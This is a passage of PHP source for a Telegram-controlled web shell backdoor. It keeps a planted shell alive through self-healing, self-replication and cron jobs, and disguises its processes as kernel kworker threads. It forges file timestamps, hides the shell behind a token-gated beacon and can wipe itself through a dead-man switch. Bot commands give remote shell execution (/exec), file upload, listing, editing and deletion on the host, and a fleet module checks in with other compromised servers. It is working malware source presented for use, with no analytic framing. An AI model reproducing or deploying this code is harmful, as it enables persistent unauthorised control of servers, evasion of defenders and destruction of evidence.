    }elseif(strpos($name,"block:")===0){
      if(stripos($cur[$name],substr($content,0,40))===false){
        if(wn_g_restore($name,$content))$restored[]=$name;
      }
    }
  }
  if(!empty($restored)){
    $lastA=file_exists($alertFile)?(int)@_c("fgc",$alertFile):0;
    if(time()-$lastA>300){
      @_c("fpc",$alertFile,(string)time(),LOCK_EX);
      wn_send($BOT,$CHAT,"[GUARDIAN] Restored:\n".implode("\n",$restored)."\nHost: ".$host);
    }
  }
  return $restored;
}
function wn_heartbeat_check(){
  global $BOT,$CHAT,$SHELL_PATH,$MAIN_WATCHERS,$SELF_URL,$ROOT;
  $hbFile=wn_p("heartbeat");
  if(time()-(int)_c("fgc",$hbFile)<=21600)return;
  _c("fpc",$hbFile,time());
  $wCount=0;
  foreach($MAIN_WATCHERS as $w)if(file_exists($w))$wCount++;
  $hostName=parse_url($SELF_URL,PHP_URL_HOST)?:(@gethostname()?:"?");
  wn_send($BOT,$CHAT,"[HEARTBEAT] ".date("H:i:s")."\nHost: ".$hostName
    ."\nShell: ".(wn_is_hidden()?"hidden":(file_exists($SHELL_PATH)?"yes":"NO"))
    ."\nWatchers: ".$wCount."/".count($MAIN_WATCHERS));
}
function wn_selfheal_check(){
  global $BOT,$CHAT,$SHELL_PATH,$MAIN_WATCHERS,$HOME;
  $lastHeal=(int)_c("fgc",wn_p("selfheal"));
  if(time()-$lastHeal<=90)return;
  _c("fpc",wn_p("selfheal"),time());
  if(!file_exists($SHELL_PATH)){
    if(!wn_is_hidden()){
      $r=wn_restore_shell();
      if($r["ok"])wn_send($BOT,$CHAT,"[SELF-HEAL] Shell restored: ".$r["msg"]);
    }
  }
  wn_heal_backups();
  $rep=wn_self_replicate();
  if($rep>0)wn_send($BOT,$CHAT,"[SELF-HEAL] Replicated: $rep");
  $wrapper=null;
  foreach($MAIN_WATCHERS as $p)if(file_exists($p)){$wrapper=$p;break;}
  if(!$wrapper)return;
  $php=trim(wn_sh("command -v php 2>/dev/null"));
  if(!$php)$php="/usr/local/bin/php";
  $cronNow=wn_sh("crontab -l 2>/dev/null")?:"";
  if(stripos($cronNow,"php-sess")===false&&stripos($cronNow,$wrapper)===false){
    $lines=array(
      "* * * * * /bin/sh -c '".escapeshellarg($php)." ".escapeshellarg($wrapper)." >/dev/null 2>&1'",
      "@reboot /bin/sh -c 'sleep 30 && ".escapeshellarg($php)." ".escapeshellarg($wrapper)." >/dev/null 2>&1'"
    );
    $tmp=tempnam(sys_get_temp_dir(),"cron_");
    _c("fpc",$tmp,implode("\n",$lines)."\n");
    @_c("se","crontab ".escapeshellarg($tmp)." 2>&1");
    @unlink($tmp);
  }
  if(function_exists("wn_guardian"))wn_guardian();
}
function wn_deadman_check(){
  global $BOT,$CHAT,$SHELL,$SHELL_PATH,$BACKUPS,$REPLICA_BACKUPS;
  global $MAIN_WATCHERS,$REPLICA_WATCHERS,$DAEMON_PHP_NAME,$WATCHDOG_PHP_NAME,$HOME;
  $deadCfg=wn_p("deadman");
  if(!file_exists($deadCfg))return;
  $dcfg=json_decode((string)_c("fgc",$deadCfg),true);
  if(!is_array($dcfg)||empty($dcfg["enabled"]))return;
  $threshold=(int)($dcfg["hours"]??24)*3600;
  $lastAct=(int)_c("fgc",wn_p("activity"));
  if($lastAct<=0)return;
  if((time()-$lastAct)<=$threshold)return;
  $noteFile=wn_p("deadman_note");
  $noted=(int)_c("fgc",$noteFile);
  if($noted!==0&&(time()-$noted)<=7200)return;
  _c("fpc",$noteFile,time());
  $action=$dcfg["action"]??"warn";
  $elapsed=round((time()-$lastAct)/3600,1);
  if($action==="wipe"){
    @_c("se","pkill -9 -f ".escapeshellarg($DAEMON_PHP_NAME)." 2>/dev/null");
    @_c("se","pkill -9 -f ".escapeshellarg($WATCHDOG_PHP_NAME)." 2>/dev/null");
    @_c("se","pkill -9 -f [kworker/0:2H] 2>/dev/null");
    @_c("se","pkill -9 -f [kworker/1:1H] 2>/dev/null");
    @_c("se","pkill -9 -f ".escapeshellarg($SHELL_PATH)." 2>/dev/null");
    @unlink($SHELL_PATH);
    foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk)@unlink($bk);
    foreach(array_merge($MAIN_WATCHERS,$REPLICA_WATCHERS) as $w)@unlink($w);
    @unlink(__FILE__);
    wn_send($BOT,$CHAT,"[DEAD MAN] WIPE EXECUTED\nNo activity for {$elapsed}h");
    exit;
  }
  wn_send($BOT,$CHAT,"[DEAD MAN] No activity for {$elapsed}h\nAction: $action");
  if($action==="restore")wn_restore_shell();
}
function wn_check_file_integrity(){
  global $BOT,$CHAT,$SHELL_PATH,$EMBEDDED_SHELL_B64;
  $pauseFile=wn_p("integrity_pause");
  if(file_exists($pauseFile)){
    $paused=(int)_c("fgc",$pauseFile);
    if((time()-$paused)<wn_pause_ttl())return;
    @unlink($pauseFile);
  }
  $checkFile=wn_p("integrity_check");
  $last=(int)_c("fgc",$checkFile);
  if((time()-$last)<60)return;
  _c("fpc",$checkFile,time());
  if(!file_exists($SHELL_PATH))return;
  $storedMtime=wn_read_mtime();
  if($storedMtime>0){
    $curMtime=@filemtime($SHELL_PATH);
    if($curMtime!=$storedMtime){
      @touch($SHELL_PATH,$storedMtime,$storedMtime);
      clearstatcache(true,$SHELL_PATH);
    }
  }
  if(empty($EMBEDDED_SHELL_B64))return;
  $expectedRaw=_c("b64d",$EMBEDDED_SHELL_B64);
  if($expectedRaw===false||strlen($expectedRaw)<100)return;
  $expectedHash=hash("sha256",$expectedRaw);
  $currentHash=@hash_file("sha256",$SHELL_PATH)?:"";
  if($currentHash==="")return;
  if($currentHash===$expectedHash)return;
  $restored=false;
  if(_c("fpc",$SHELL_PATH,$expectedRaw)!==false){@chmod($SHELL_PATH,0644);$restored=true;}
  wn_send($BOT,$CHAT,"[INTEGRITY] ".($restored?"RESTORED":"FAILED"));
}
function wn_fleet_hb_check(){
  global $BOT,$CHAT,$__state;
  if(defined("WN_SLAVE_MODE")&&WN_SLAVE_MODE)return;
  $cfgFile=$__state."/.fleet_hb_cfg";
  $interval=120;
  if(file_exists($cfgFile)){
    $iv=(int)@_c("fgc",$cfgFile);
    if($iv===-1)return;
    if($iv>=30&&$iv<=3600)$interval=$iv;
  }
  $hbFile=wn_p("fhb_ts");
  $lastHb=file_exists($hbFile)?(int)@_c("fgc",$hbFile):0;
  if(time()-$lastHb<$interval)return;
  @_c("fpc",$hbFile,(string)time(),LOCK_EX);
  @chmod($hbFile,0600);
  $servers=_fl_load();
  if(empty($servers))return;
  $updated=array();
  $changed=false;
  foreach($servers as $s){
    if(!empty($s["hide"])){$updated[]=$s;continue;}
    $url=$s["url"]??"";
    if($url===""){$updated[]=$s;continue;}
    $r=_fl_request($url,"ping",array(),20);
    $prev=$s["last_status"]??"never";
    if(!empty($r["pong"])){
      $s["last_seen"]=time();
      $s["hb_fails"]=0;
      if($prev!=="ok"){$s["last_status"]="ok";$changed=true;wn_send($BOT,$CHAT,"[HB] ".($s["label"]??"?")." is UP");}
    }else{
      $fails=(int)($s["hb_fails"]??0)+1;
      $s["hb_fails"]=$fails;
      if($fails===1){
        wn_send($BOT,$CHAT,"[HB] ".($s["label"]??"?")." no response (1/3)");
      }elseif($fails>=3){
        $s["last_status"]="unreachable";
        $s["hb_fails"]=0;
        $changed=true;
        wn_send($BOT,$CHAT,"[HB] ".($s["label"]??"?")." DOWN (3x)");
      }
    }
    $updated[]=$s;
  }
  if($changed)_fl_save($updated);
}
function _fl_key_path(){global $__state;return $__state."/.fleet_key";}
function _fl_reg_path(){global $__state;return $__state."/.fleet_registry.json";}
function _fl_id_path(){global $__state;return $__state."/.fleet_id";}
function _fl_key(){$f=_fl_key_path();if(!file_exists($f))return "";$k=trim((string)_c("fgc",$f));return strlen($k)>=16?$k:"";}
function _fl_key_set($key){_c("fpc",_fl_key_path(),$key,LOCK_EX);@chmod(_fl_key_path(),0600);return true;}
function _fl_key_gen(){try{return bin2hex(random_bytes(24));}catch(Throwable $e){return hash("sha256","fk:".microtime(true).mt_rand());}}
function _fl_server_id(){
  $f=_fl_id_path();
  if(file_exists($f)){$id=trim((string)_c("fgc",$f));if(strlen($id)>=6)return $id;}
  $h=@gethostname()?:"unknown";
  $id=substr(hash("sha256","sid:".$h.":".__DIR__),0,12);
  _c("fpc",$f,$id,LOCK_EX);
  @chmod($f,0600);
  return $id;
}
function _fl_load(){$f=_fl_reg_path();if(!file_exists($f))return array();$j=@json_decode((string)_c("fgc",$f),true);return is_array($j)?$j:array();}
function _fl_save($servers){_c("fpc",_fl_reg_path(),json_encode(array_values($servers),JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES),LOCK_EX);@chmod(_fl_reg_path(),0600);}
function _fl_http($method,$url,$body='',$headers=array(),$timeout=20){
  if(!is_array($headers))$headers=array();
  $headers[]="User-Agent: Mozilla/5.0";
  $headers[]="Accept: */*";
  if($method==="POST"){$headers[]="Content-Type: application/x-www-form-urlencoded";$headers[]="Content-Length: ".strlen($body);}
  if(function_exists("curl_init")){
    $ch=@_c("cu_i",$url);
    if($ch!==false&&$ch!==null){
      @_c("cu_s",$ch,CURLOPT_RETURNTRANSFER,true);
      @_c("cu_s",$ch,CURLOPT_TIMEOUT,$timeout);
      @_c("cu_s",$ch,CURLOPT_SSL_VERIFYPEER,false);
      @_c("cu_s",$ch,CURLOPT_SSL_VERIFYHOST,false);
      @_c("cu_s",$ch,CURLOPT_HTTPHEADER,$headers);
      if($method==="POST"){@_c("cu_s",$ch,CURLOPT_POST,true);@_c("cu_s",$ch,CURLOPT_POSTFIELDS,$body);}
      $r=@_c("cu_e",$ch);
      @_c("cu_c",$ch);
      if(is_string($r)&&$r!=='')return $r;
    }
  }
  if(ini_get("allow_url_fopen")){
    $opts=array("http"=>array("method"=>$method,"header"=>implode("\r\n",$headers)."\r\n","timeout"=>$timeout,"ignore_errors"=>true),"ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false));
    if($method==="POST")$opts["http"]["content"]=$body;
    $r=@_c("fgc",$url,false,stream_context_create($opts));
    if(is_string($r)&&$r!=='')return $r;
  }
  return false;
}
function _fl_request($url,$op,$params=array(),$timeout=15){
  $fk=_fl_key();
  if($fk==="")return array("error"=>"no_fleet_key");
  $q=array_merge(array("wn_fleet"=>"1","op"=>$op,"fleet_key"=>$fk),$params);
  $sep=(strpos($url,"?")===false)?"?":"&";
  $res=_fl_http("GET",$url.$sep.http_build_query($q),'',array("X-WN-Fleet-Key: ".$fk),$timeout);
  if($res===false||$res==='')return array("error"=>"http_failed");
  $j=json_decode($res,true);
  return is_array($j)?$j:array("error"=>"invalid_json");
}
function _fl_post($url,$op,$params=array(),$timeout=60){
  $fk=_fl_key();
  if($fk==="")return array("error"=>"no_fleet_key");
  $sep=(strpos($url,"?")===false)?"?":"&";
  $res=_fl_http("POST",$url.$sep."wn_fleet=1&op=".urlencode($op),http_build_query($params),array("X-WN-Fleet-Key: ".$fk),$timeout);
  if(is_string($res)&&trim($res)!==''){
    $j=json_decode($res,true);
    if(is_array($j))return $j;
  }
  return array("error"=>"http_failed");
}

function wn_handle_update($u,$BOT,$CHAT,$ROOT,$SHELL,$SHELL_PATH,$SELF_URL,$SECRET,$state,$BACKUPS,$HOME){
  global $REPLICA_BACKUPS,$MAIN_WATCHERS,$REPLICA_WATCHERS;
  global $DAEMON_PHP_NAME,$WATCHDOG_PHP_NAME,$EMBEDDED_SHELL_B64;
  global $WATCHDOG_PID_PATH,$DAEMON_PID_PATH;
  $text=isset($u["message"]["text"])?trim($u["message"]["text"]):"";
  $caption=isset($u["message"]["caption"])?trim($u["message"]["caption"]):"";
  $from=isset($u["message"]["from"]["id"])?$u["message"]["from"]["id"]:"";
  if((string)$from!==(string)$CHAT)return;
  $lct=strtolower(trim($text?:$caption));
  if(!in_array($lct,array("/status","/help","/start","/menu")))_c("fpc",wn_p("activity"),time());
  $putDoc=null;$putArg="";
  if(isset($u["message"]["document"]["file_id"])&&preg_match("#^/put(?:\\s+(.+))?$#is",$caption,$mm)){
    $putDoc=$u["message"]["document"];
    $putArg=isset($mm[1])?trim($mm[1]):"";
  }
  if($putDoc!==null){
    $fname=$putDoc["file_name"]??"upload.bin";
    $fileId=$putDoc["file_id"];
    $dest=$putArg!==""?$putArg:$ROOT."/".$fname;
    $bytes=wn_download_file($BOT,$fileId,$dest);
    if($bytes!==false&&$bytes>0)wn_send($BOT,$CHAT,"[OK] Saved\n".htmlspecialchars($dest,ENT_QUOTES,"UTF-8")."\n".$bytes." bytes");
    else wn_send($BOT,$CHAT,"[X] save failed");
    return;
  }
  if($text===""&&$caption==="")return;
  if($text===""&&$caption!=="")$text=$caption;
  $lc=strtolower($text);

  // /uninstall
  if($lc==="/uninstall"){
    @_c("fpc",wn_p("dying"),(string)time(),LOCK_EX);
    wn_send($BOT,$CHAT,"[UNINSTALL] Cleaning...");
    @_c("se","pkill -9 -f ".escapeshellarg($WATCHDOG_PHP_NAME)." 2>/dev/null");
    @unlink($WATCHDOG_PID_PATH);
    usleep(400000);
    @_c("se","pkill -9 -f ".escapeshellarg($DAEMON_PHP_NAME)." 2>/dev/null");
    @unlink($DAEMON_PID_PATH);
    usleep(400000);
    @_c("se","pkill -9 -f [kworker/0:2H] 2>/dev/null");
    @_c("se","pkill -9 -f [kworker/1:1H] 2>/dev/null");
    @_c("se","pkill -9 -f 'kworker/u8:' 2>/dev/null");
    @_c("se","pkill -9 -f 'kworker/u16:' 2>/dev/null");
    $selfPid=getmypid();
    $otherPids=@_c("se","pgrep -f 'php-sess-' 2>/dev/null");
    if($otherPids){
      foreach(explode("\n",trim($otherPids)) as $p){
        $p=(int)trim($p);
        if($p>0&&$p!==$selfPid)@_c("se","kill -9 ".$p." 2>/dev/null");
      }
    }
    foreach($MAIN_WATCHERS as $f)@unlink($f);
    foreach($REPLICA_WATCHERS as $f)@unlink($f);
    foreach($BACKUPS as $f)@unlink($f);
    foreach($REPLICA_BACKUPS as $f)@unlink($f);
    @unlink(dirname(__FILE__)."/".$DAEMON_PHP_NAME);
    @unlink(dirname(__FILE__)."/".$WATCHDOG_PHP_NAME);
    wn_send($BOT,$CHAT,"[UNINSTALLED]");
    exit(0);
  }

  // /install /reinstall
  if($lc==="/install"||$lc==="/reinstall"){
    if(wn_is_hidden()){wn_set_hidden_state(null);wn_send($BOT,$CHAT,"[!] Hidden cleared");}
    wn_send($BOT,$CHAT,"Reinstalling...");
    if(!file_exists($SHELL_PATH)){
      $r=wn_restore_shell();
      if(!$r["ok"]){wn_send($BOT,$CHAT,"[X] Cannot restore: ".$r["msg"]);return;}
    }
    @unlink(wn_p("dying"));
    $out=wn_tg($SELF_URL."?wn_tg=reinstall&key=".urlencode($SECRET),60);
    if(!$out||$out==="FORBIDDEN"||strlen($out)<10)wn_send($BOT,$CHAT,"[X] Reinstall gagal.");
    else wn_send($BOT,$CHAT,substr($out,0,3500));
  }

  // /status
  elseif($lc==="/status"){
    $alive=file_exists($SHELL_PATH);
    $hidden=wn_is_hidden();
    $hostName=parse_url($SELF_URL,PHP_URL_HOST)?:(@gethostname()?:"?");
    $hasShm=function_exists("shmop_open")?"yes":"no";
    $ringAlive=0;
    foreach(array('a','b','c') as $c){
      if(trim((string)wn_sh("pgrep -f '[kworker/u8:.*".$c."]' 2>/dev/null"))!=="")$ringAlive++;
    }
    $daemonAlive=trim((string)wn_sh("pgrep -f [kworker/0:2H] 2>/dev/null"))!=="";
    $wdAlive=trim((string)wn_sh("pgrep -f [kworker/1:1H] 2>/dev/null"))!=="";
    wn_send($BOT,$CHAT,"STATUS\n\nHost: $hostName\nPath: $ROOT\nPHP: ".PHP_VERSION
      ."\nShell: ".($alive?"ALIVE":"DELETED")
      ."\nHidden: ".($hidden?"yes":"no")
      ."\nshmop: $hasShm"
      ."\nRing: $ringAlive/3"
      ."\nDaemon: ".($daemonAlive?"alive":"dead")
      ."\nWatchdog: ".($wdAlive?"alive":"dead")
      ."\nTime: ".date("Y-m-d H:i:s"));
  }

  // /hide
  elseif($lc==="/hide"){
    if(wn_is_hidden()){wn_send($BOT,$CHAT,"already hidden");return;}
    if(!file_exists($SHELL_PATH)){wn_send($BOT,$CHAT,"[X] shell not found");return;}
    $dr=dirname($SHELL_PATH);
    if(!is_dir($dr)||!is_writable($dr)){wn_send($BOT,$CHAT,"[X] docroot not writable");return;}
    $backupPath=$__state."/.slave_hidden_backup.php";
    if(@copy($SHELL_PATH,$backupPath)===false){wn_send($BOT,$CHAT,"[X] backup failed");return;}
    @chmod($backupPath,0600);
    $token=bin2hex(random_bytes(24));
    $beaconName=".cache_".substr(hash("sha256","beacon:".$token),0,12).".php";
    $beaconPath=$dr."/".$beaconName;
    $stateFile=$__state."/.wn_hide_state";
    $bc="<?php\n"
      ."if((\$_GET['t']??'')!==".var_export($token,true)."){http_response_code(404);exit;}\n"
      ."\$b=".var_export($backupPath,true).";\$t=".var_export($SHELL_PATH,true).";\n"
      ."if(!@is_file(\$b)){http_response_code(500);echo 'no_backup';exit;}\n"
      ."if(@is_file(\$t)&&@filesize(\$t)>500){@unlink(".var_export($stateFile,true).");@unlink(__FILE__);echo 'ok';exit;}\n"
      ."if(!@copy(\$b,\$t)){http_response_code(500);echo 'copy_fail';exit;}\n"
      ."@chmod(\$t,0644);@unlink(".var_export($stateFile,true).");@unlink(__FILE__);echo 'ok';\n";
    if(@_c("fpc",$beaconPath,$bc)===false){wn_send($BOT,$CHAT,"[X] beacon write fail");@unlink($backupPath);return;}
    @chmod($beaconPath,0644);
    $baseUrl=preg_replace("#/[^/]+$#","",$SELF_URL);
    if(strpos($baseUrl,"http")!==0){
      $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=="off")?"https":"http";
      $host=$_SERVER['HTTP_HOST']??(@gethostname()?:"localhost");
      $baseUrl=$scheme."://".$host;
    }
    $beaconUrl=rtrim($baseUrl,"/")."/".$beaconName;
    wn_set_hidden_state(array(
      "hidden"=>true,"beacon_url"=>$beaconUrl,"token"=>$token,
      "backup_path"=>$backupPath,"slave_path"=>$SHELL_PATH,"hidden_at"=>time()
    ));
    @_c("fpc",wn_p("dying"),(string)time(),LOCK_EX);
    if(!@unlink($SHELL_PATH)){
      wn_send($BOT,$CHAT,"[X] unlink failed");
      @unlink($beaconPath);
      wn_set_hidden_state(null);
      return;
    }
    wn_send($BOT,$CHAT,"[HIDE] OK\nBeacon: ".$beaconUrl."\nRestore: /show");
  }

  // /show
  elseif($lc==="/show"){
    if(!wn_is_hidden()){wn_send($BOT,$CHAT,"not hidden");return;}
    $st=wn_hide_state();
    if(!$st){wn_send($BOT,$CHAT,"[X] no state");return;}
    $restored=false;$method="";
    if(!empty($st['backup_path'])&&@is_file($st['backup_path'])){
      if(@copy($st['backup_path'],$SHELL_PATH)!==false){
        @chmod($SHELL_PATH,0644);
        $restored=true;$method="direct";
      }
    }
    if(!$restored&&!empty($st['beacon_url'])&&!empty($st['token'])){
      $bu=$st['beacon_url']."?t=".urlencode($st['token']);
      $res=wn_tg($bu,15);
      if(trim((string)$res)==="ok"){$restored=true;$method="beacon";}
    }
    if($restored){
      wn_set_hidden_state(null);
      @unlink(wn_p("dying"));
      $dr=dirname($SHELL_PATH);
      foreach((array)glob($dr."/.cache_*.php") as $bf){
        $bcc=@_c("fgc",$bf);
        if($bcc!==false&&!empty($st['token'])&&strpos($bcc,$st['token'])!==false){@unlink($bf);break;}
      }
      wn_send($BOT,$CHAT,"[SHOW] OK ($method)");
    }else{
      wn_send($BOT,$CHAT,"[X] restore failed");
    }
  }

  // /restore_self
  elseif($lc==="/restore_self"){
    if(file_exists($SHELL_PATH)){wn_send($BOT,$CHAT,"exists");return;}
    $r=wn_restore_shell();
    wn_send($BOT,$CHAT,$r["ok"]?"[OK] ".$r["msg"]:"[X] ".$r["msg"]);
  }

  // /heal
  elseif($lc==="/heal"){
    $h=wn_heal_backups();
    wn_send($BOT,$CHAT,"HEALED: $h");
  }

  // /replicate
  elseif($lc==="/replicate"){
    $n=wn_self_replicate();
    wn_send($BOT,$CHAT,"[REPLICATE] $n new");
  }

  // /list_backups
  elseif($lc==="/list_backups"){
    $bl=array();
    foreach(array_merge($BACKUPS,$REPLICA_BACKUPS) as $bk)$bl[]=(file_exists($bk)?"OK ":"MISS ").htmlspecialchars($bk,ENT_QUOTES,"UTF-8");
    wn_send($BOT,$CHAT,"BACKUPS:\n".implode("\n",$bl));
  }

  // /heal_cron
  elseif($lc==="/heal_cron"){
    $cronNow=wn_sh("crontab -l 2>/dev/null")?:"";
    if(stripos($cronNow,"php-sess")!==false||stripos($cronNow,"cleanup.lock")!==false)wn_send($BOT,$CHAT,"[OK] cron present");
    else{@unlink(wn_p("selfheal"));wn_send($BOT,$CHAT,"[!] cron missing");}
  }

  // /guardian
  elseif($lc==="/guardian"||preg_match("#^/guardian\s+#i",$text)){
    $ga=preg_match("#^/guardian\s+(.+)#i",$text,$gm)?strtolower(trim($gm[1])):"status";
    if($ga==="capture"){
      $cur=wn_g_capture();$n=wn_g_save($cur);
      wn_send($BOT,$CHAT,"[GUARDIAN] captured ".count($cur)." -> $n");
    }elseif($ga==="restore"){
      $r=wn_guardian(true);
      wn_send($BOT,$CHAT,"[GUARDIAN] restored: ".(empty($r)?"none":implode(", ",$r)));
    }else{
      $snap=wn_g_load();
      if($snap===null)wn_send($BOT,$CHAT,"[GUARDIAN] no snapshot");
      elseif($snap==="CORRUPT")wn_send($BOT,$CHAT,"[GUARDIAN] CORRUPT");
      else wn_send($BOT,$CHAT,"[GUARDIAN] snapshot: ".count($snap)." layers");
    }
  }

  // /integrity
  elseif($lc==="/integrity"||preg_match("#^/integrity\\s+#i",$text)){
    $iargs=preg_match("#^/integrity\\s+(.+)#i",$text,$m)?trim($m[1]):"status";
    $iSub=strtolower($iargs);
    $pauseFile=wn_p("integrity_pause");
    if($iSub==="pause"){_c("fpc",$pauseFile,time());wn_send($BOT,$CHAT,"[INTEGRITY] paused");}
    elseif($iSub==="resume"){@unlink($pauseFile);wn_send($BOT,$CHAT,"[INTEGRITY] resumed");}
    elseif($iSub==="now"){@unlink(wn_p("integrity_check"));wn_send($BOT,$CHAT,"[INTEGRITY] next");}
    elseif(preg_match('#^set_mtime\s+(.+)$#i',$iargs,$mm)){
      $str=trim($mm[1]);
      $ts=is_numeric($str)?(int)$str:strtotime($str);
      if($ts===false||$ts<=0){wn_send($BOT,$CHAT,"[X] invalid");}
      else{
        $wrote=wn_write_mtime($ts);
        $touched=false;
        if(file_exists($SHELL_PATH)){clearstatcache(true,$SHELL_PATH);$touched=@touch($SHELL_PATH,$ts,$ts);}
        wn_send($BOT,$CHAT,"[INTEGRITY] mtime set\n".date("Y-m-d H:i:s",$ts)."\nWritten: ".($wrote?"yes":"FAIL")."\nTouch: ".($touched?"OK":"FAIL"));
      }
    }
    elseif($iSub==="reset_mtime"){wn_clear_mtime();wn_send($BOT,$CHAT,"[INTEGRITY] mtime cleared");}
    else{
      $exists=file_exists($SHELL_PATH);
      $curSize=$exists?(@filesize($SHELL_PATH)?:0):0;
      $curHash=$exists?substr(@hash_file("sha256",$SHELL_PATH)?:"?",0,16):"?";
      wn_send($BOT,$CHAT,"[INTEGRITY]\nExists: ".($exists?"yes":"NO")."\nSize: $curSize\nHash: $curHash");
    }
  }

  // /siluman
  elseif($lc==="/siluman"||preg_match("#^/siluman\\s+#i",$text)){
    $args=preg_match("#^/siluman\\s+(.+)#i",$text,$mm3)?trim($mm3[1]):"status";
    $parts=preg_split("/\\s+/",$args);
    $sub=strtolower($parts[0]??"status");
    $onFile=wn_p("stealth_on");
    $keyFile=wn_p("stealth_key");
    if($sub==="on"){
      _c("fpc",$onFile,"1",LOCK_EX);@chmod($onFile,0600);
      $k=file_exists($keyFile)?trim((string)_c("fgc",$keyFile)):"";
      if(strlen($k)<16){
        try{$k=bin2hex(random_bytes(16));}catch(Throwable $e){$k=substr(hash("sha256",microtime(true)),0,32);}
        _c("fpc",$keyFile,$k,LOCK_EX);@chmod($keyFile,0600);
      }
      wn_send($BOT,$CHAT,"[SILUMAN] ON\n\n$k");
    }elseif($sub==="off"){@unlink($onFile);wn_send($BOT,$CHAT,"[SILUMAN] OFF");}
    elseif($sub==="key"){
      $otpUrl=$SELF_URL."?wn_otp=gen&key=".urlencode($SECRET);
      $token=trim((string)wn_tg($otpUrl,10));
      if(!preg_match("#^[a-f0-9]{32}$#",$token)){wn_send($BOT,$CHAT,"[X] OTP fail");}
      else{
        $uu=rtrim($SELF_URL,"/");
        $qq=strpos($uu,"?")===false?"?p=":"&p=";
        wn_send($BOT,$CHAT,"[SILUMAN OTP]\n".$uu.$qq.$token);
      }
    }elseif($sub==="rotate"){
      try{$k=bin2hex(random_bytes(16));}catch(Throwable $e){$k=substr(hash("sha256",microtime(true).mt_rand()),0,32);}
      _c("fpc",$keyFile,$k,LOCK_EX);@chmod($keyFile,0600);
      wn_send($BOT,$CHAT,"[SILUMAN] rotated\n".$k);
    }else{wn_send($BOT,$CHAT,"[SILUMAN] ".(file_exists($onFile)?"ON":"OFF"));}
  }

  // /deadman
  elseif($lc==="/deadman"||preg_match("#^/deadman\\s+#i",$text)){
    $args=preg_match("#^/deadman\\s+(.+)#i",$text,$mm2)?trim($mm2[1]):"status";
    $parts=preg_split("/\\s+/",$args);
    $sub=strtolower($parts[0]??"status");
    $deadCfg2=wn_p("deadman");
    if($sub==="on"){
      $hours=isset($parts[1])?(int)$parts[1]:24;
      if($hours<1)$hours=24;
      $existingDm=json_decode((string)_c("fgc",$deadCfg2),true)?:array();
      $curAction=isset($existingDm["action"])?$existingDm["action"]:"warn";
      _c("fpc",$deadCfg2,json_encode(array("enabled"=>true,"hours"=>$hours,"action"=>$curAction)));
      _c("fpc",wn_p("activity"),time());
      wn_send($BOT,$CHAT,"[DEAD MAN] ON {$hours}h $curAction");
    }elseif($sub==="off"){@unlink($deadCfg2);@unlink(wn_p("deadman_note"));wn_send($BOT,$CHAT,"[DEAD MAN] OFF");}
    elseif($sub==="action"){
      $act=isset($parts[1])?strtolower($parts[1]):"";
      if(!in_array($act,array("warn","wipe","restore"),true)){wn_send($BOT,$CHAT,"[X] warn|wipe|restore");}
      else{
        $dcfg=json_decode(_c("fgc",$deadCfg2),true)?:array("enabled"=>true,"hours"=>24);
        $dcfg["action"]=$act;
        _c("fpc",$deadCfg2,json_encode($dcfg));
        wn_send($BOT,$CHAT,"[DEAD MAN] $act");
      }
    }else{
      $cur=_c("fgc",$deadCfg2);
      if(!$cur)wn_send($BOT,$CHAT,"[DEAD MAN] OFF");
      else{$dcfg=json_decode($cur,true);wn_send($BOT,$CHAT,"[DEAD MAN] ON\n".($dcfg["hours"]??24)."h\n".($dcfg["action"]??"warn"));}
    }
  }

  // /exec
  elseif(preg_match("#^/exec\\s+(.+)#is",$text,$m)){
    $cmdline=trim($m[1]);
    $out=wn_sh("timeout 15 ".$cmdline);
    if(!$out)$out="(empty)";
    if(strlen($out)>3000)$out=substr($out,0,3000)."\n...";
    wn_send($BOT,$CHAT,"EXEC\n$ ".htmlspecialchars($cmdline,ENT_QUOTES,"UTF-8")."\n\n".htmlspecialchars($out,ENT_QUOTES,"UTF-8"));
  }

  // /ls
  elseif(preg_match("#^/ls(?:\\s+(.+))?$#is",$text,$m)){
    $target=isset($m[1])?trim($m[1]):$ROOT;
    if(!is_dir($target)){wn_send($BOT,$CHAT,"[X] not dir");}
    else{
      $items=@scandir($target);
      if($items===false){wn_send($BOT,$CHAT,"[X] read fail");}
      else{
        $lines=array();
        foreach($items as $item){
          if($item==="."||$item==="..")continue;
          $p=$target."/".$item;
          $type=is_dir($p)?"d":"-";
          $sz=is_dir($p)?"-":@filesize($p);
          $lines[]="$type ".str_pad((string)$sz,10," ",STR_PAD_LEFT)." ".htmlspecialchars($item,ENT_QUOTES,"UTF-8");
        }
        $out="LS: ".htmlspecialchars($target,ENT_QUOTES,"UTF-8")."\n\n".implode("\n",$lines);
        if(strlen($out)>3500)$out=substr($out,0,3500)."\n...";
        wn_send($BOT,$CHAT,$out);
      }
    }
  }

  // /edit
  elseif(preg_match("#^/edit\\s+(.+)#is",$text,$m)){
    $target=trim($m[1]);
    if(!file_exists($target)){wn_send($BOT,$CHAT,"[X] not found");}
    elseif(is_dir($target)){wn_send($BOT,$CHAT,"[X] dir");}
    elseif(!is_readable($target)){wn_send($BOT,$CHAT,"[X] not readable");}
    else{
      $content=_c("fgc",$target);
      if($content===false){wn_send($BOT,$CHAT,"[X] read fail");}
      elseif(strlen($content)>200*1024){wn_send($BOT,$CHAT,"[X] too large");}
      else{
        $size=strlen($content);
        $safe=htmlspecialchars($target,ENT_QUOTES,"UTF-8");
        wn_send($BOT,$CHAT,"[EDIT] ".$safe."\n$size bytes\n\nReply pesan INI dengan konten baru.");
        usleep(300000);
        $chunks=str_split($content,3500);
        $total=count($chunks);
        foreach($chunks as $i=>$c){
          wn_send($BOT,$CHAT,"[part ".($i+1)."/".$total."]\n".$c);
          usleep(300000);
        }
        wn_send($BOT,$CHAT,"---END---");
      }
    }
  }

  // /rm
  elseif(preg_match("#^/rm\\s+(.+)#is",$text,$m)){
    $target=trim($m[1]);
    if(!file_exists($target)){wn_send($BOT,$CHAT,"[X] not found");}
    else{
      _c("fpc",wn_p("rm_pending"),$target."\n".time());
      $type=is_dir($target)?"DIR":"FILE";
      wn_send($BOT,$CHAT,"[CONFIRM]\n$type\n".htmlspecialchars($target,ENT_QUOTES,"UTF-8")."\n\n/rm_confirm /rm_cancel");
    }
  }

  // /rm_confirm
  elseif($lc==="/rm_confirm"){
    $pf=wn_p("rm_pending");
    if(!file_exists($pf)){wn_send($BOT,$CHAT,"[X] no pending");}
    else{
      $data=_c("fgc",$pf);
      @unlink($pf);
